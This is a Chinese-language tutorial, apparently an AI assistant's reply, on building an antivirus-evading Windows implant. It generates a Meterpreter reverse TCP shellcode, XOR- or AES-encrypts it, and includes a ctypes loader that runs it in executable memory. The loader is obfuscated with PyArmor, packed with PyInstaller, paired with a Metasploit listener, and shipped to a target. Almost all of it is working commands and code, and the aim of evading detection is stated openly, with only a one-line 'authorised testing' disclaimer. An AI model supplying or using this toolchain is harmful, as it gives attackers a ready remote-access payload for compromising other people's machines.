加密自己的payload

目标

  • 生成一个 Windows 64 位 Meterpreter 反向 TCP shellcode。
  • 用 Python 加密并混淆 shellcode。
  • 打包为 Windows 可执行文件,尽量绕过杀毒软件检测。

假设你在 Kali Linux 上操作,目标系统是 Windows。


步骤清单

步骤 1:生成原始 Shellcode

  1. 命令

    : 在 Kali 终端运行:

    text

    CollapseWrapCopy

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -f raw -o shellcode.bin

    • LHOST=192.168.1.100:替换为你的 Kali IP(用 ip addr 查看)。
    • -f raw:生成原始字节格式。
    • -o shellcode.bin:保存为文件。
  2. 验证

    : 检查文件是否生成:

    text

    CollapseWrapCopy

    ls -lh shellcode.bin


步骤 2:用 Python 加密 Shellcode

  1. 创建加密脚本

    : 在 Kali 上创建一个文件

    encrypt_shellcode.py

    python

    CollapseWrapCopy

    import base64 # 读取 shellcode with open("shellcode.bin", "rb") as f: shellcode = f.read() # XOR 加密函数 def xor_encrypt(data, key): return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))) # 定义密钥 key = b"secretkey123" # 加密 shellcode encrypted_shellcode = xor_encrypt(shellcode, key) encrypted_shellcode_b64 = base64.b64encode(encrypted_shellcode).decode() # 输出结果 print(f"Encrypted Shellcode (base64): {encrypted_shellcode_b64}") print(f"Key: {key.decode()}")

  2. 运行脚本

    text

    CollapseWrapCopy

    python3 encrypt_shellcode.py

    输出示例:

    text

    CollapseWrapCopy

    Encrypted Shellcode (base64): QW5kcmV3IFdhcyBoZXJl Key: secretkey123

    记下

    Encrypted Shellcode

    Key

    ,后面会用到。


步骤 3:编写加载器(解密并执行)

  1. 创建加载器脚本

    : 在 Kali 上创建一个文件

    loader.py

    python

    CollapseWrapCopy

    import base64 import ctypes import time # 加密后的 shellcode 和密钥(从步骤 2 复制) encrypted_shellcode_b64 = "QW5kcmV3IFdhcyBoZXJl" # 替换为你的加密结果 key = b"secretkey123" # 替换为你的密钥 # XOR 解密函数 def xor_decrypt(data, key): return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))) # 模拟正常行为(混淆) time.sleep(2) # 解密 shellcode encrypted_shellcode = base64.b64decode(encrypted_shellcode_b64) shellcode = xor_decrypt(encrypted_shellcode, key) # 分配内存并执行 buf = ctypes.create_string_buffer(shellcode) ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.memmove(ptr, buf, len(shellcode)) func = ctypes.CFUNCTYPE(None)(ptr) func()

  2. 说明

    • time.sleep(2):模拟正常程序行为,增加混淆。
    • ctypes:调用 Windows API 执行 shellcode。

步骤 4:混淆加载器代码

  1. 安装 PyArmor

    text

    CollapseWrapCopy

    pip3 install pyarmor

  2. 混淆脚本

    text

    CollapseWrapCopy

    pyarmor obfuscate loader.py

    • 输出在 dist/loader.py,这是一个混淆后的版本。
  3. 检查混淆结果

    text

    CollapseWrapCopy

    cat dist/loader.py

    你会看到变量名和逻辑被重命名,难以阅读。


步骤 5:打包为 Windows 可执行文件

  1. 安装 PyInstaller

    text

    CollapseWrapCopy

    pip3 install pyinstaller

  2. 打包混淆后的加载器

    text

    CollapseWrapCopy

    pyinstaller -F --hidden-import=ctypes dist/loader.py

    • -F:生成单个 .exe 文件。
    • –hidden-import=ctypes:确保 ctypes 被正确打包。
    • 输出文件在 dist/loader.exe。
  3. 验证

    : 检查生成的文件:

    text

    CollapseWrapCopy

    ls -lh dist/loader.exe


步骤 6:设置监听器

  1. 启动 Metasploit

    text

    CollapseWrapCopy

    msfconsole

  2. 配置监听器

    : 在

    msfconsole

    中输入:

    text

    CollapseWrapCopy

    use multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 443 exploit

    等待目标系统连接。


步骤 7:转移到目标 Windows 系统并运行

  1. 转移文件

    : 将

    dist/loader.exe

    转移到目标 Windows 系统:

    • 方法 1:HTTP 服务器

      : 在 Kali 上运行:

      text

      CollapseWrapCopy

      python3 -m http.server 8000

      在 Windows 上用浏览器访问

      http://192.168.1.100:8000

      ,下载

      loader.exe

    • 方法 2:USB: 复制到 U 盘,插入目标系统。

  2. 运行

    : 在目标 Windows 系统上双击

    loader.exe

    ,或在命令提示符运行:

    text

    CollapseWrapCopy

    loader.exe

    如果成功,Kali 的监听器会收到 Meterpreter 会话。


步骤 8:测试免杀效果

  1. 上传到 VirusTotal: 将 loader.exe 上传到 VirusTotal,检查检测率。

  2. 本地测试: 在目标 Windows 系统上运行,观察是否被杀毒软件拦截。

  3. 优化

    : 如果被检测到:

    • 更换密钥(key = b”newkey456”),重新加密和打包。
    • 添加更多混淆(如无用循环、假函数)。
    • 使用更强加密(如 AES,见下文)。

进阶优化(可选):使用 AES 加密

如果 XOR 不够隐蔽,可以用 AES 替换:

修改加密脚本

python

CollapseWrapCopy

from Crypto.Cipher import AES import base64 with open("shellcode.bin", "rb") as f:    shellcode = f.read() key = b"16bytessecretkey"  # 16 字节密钥 cipher = AES.new(key, AES.MODE_ECB) padding_length = 16 - (len(shellcode) % 16) shellcode_padded = shellcode + b"\x00" * padding_length encrypted_shellcode = cipher.encrypt(shellcode_padded) encrypted_shellcode_b64 = base64.b64encode(encrypted_shellcode).decode() print(f"Encrypted Shellcode (base64): {encrypted_shellcode_b64}") print(f"Key: {key.decode()}")

安装依赖:

text

CollapseWrapCopy

pip3 install pycryptodome

修改加载器

python

CollapseWrapCopy

from Crypto.Cipher import AES import base64 import ctypes import time encrypted_shellcode_b64 = "..."  # 替换为新加密结果 key = b"16bytessecretkey" time.sleep(2) encrypted_shellcode = base64.b64decode(encrypted_shellcode_b64) cipher = AES.new(key, AES.MODE_ECB) shellcode_padded = cipher.decrypt(encrypted_shellcode) shellcode = shellcode_padded.rstrip(b"\x00") buf = ctypes.create_string_buffer(shellcode) ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.memmove(ptr, buf, len(shellcode)) func = ctypes.CFUNCTYPE(None)(ptr) func()

然后重复步骤 4-7。


注意事项

  • 网络:确保目标系统能访问 192.168.1.100:443。
  • 杀毒软件:不同杀软检测能力不同,可能需多次调整。
  • 合法性:仅在授权测试环境使用。

总结

通过这 8 个步骤,你可以:

  1. 生成 shellcode。
  2. 加密 shellcode。
  3. 编写加载器。
  4. 混淆代码。
  5. 打包为 .exe。
  6. 设置监听器。
  7. 转移并运行。
  8. 测试和优化。

如果某一步有问题(比如打包失败、被拦截),告诉我,我会帮你调整!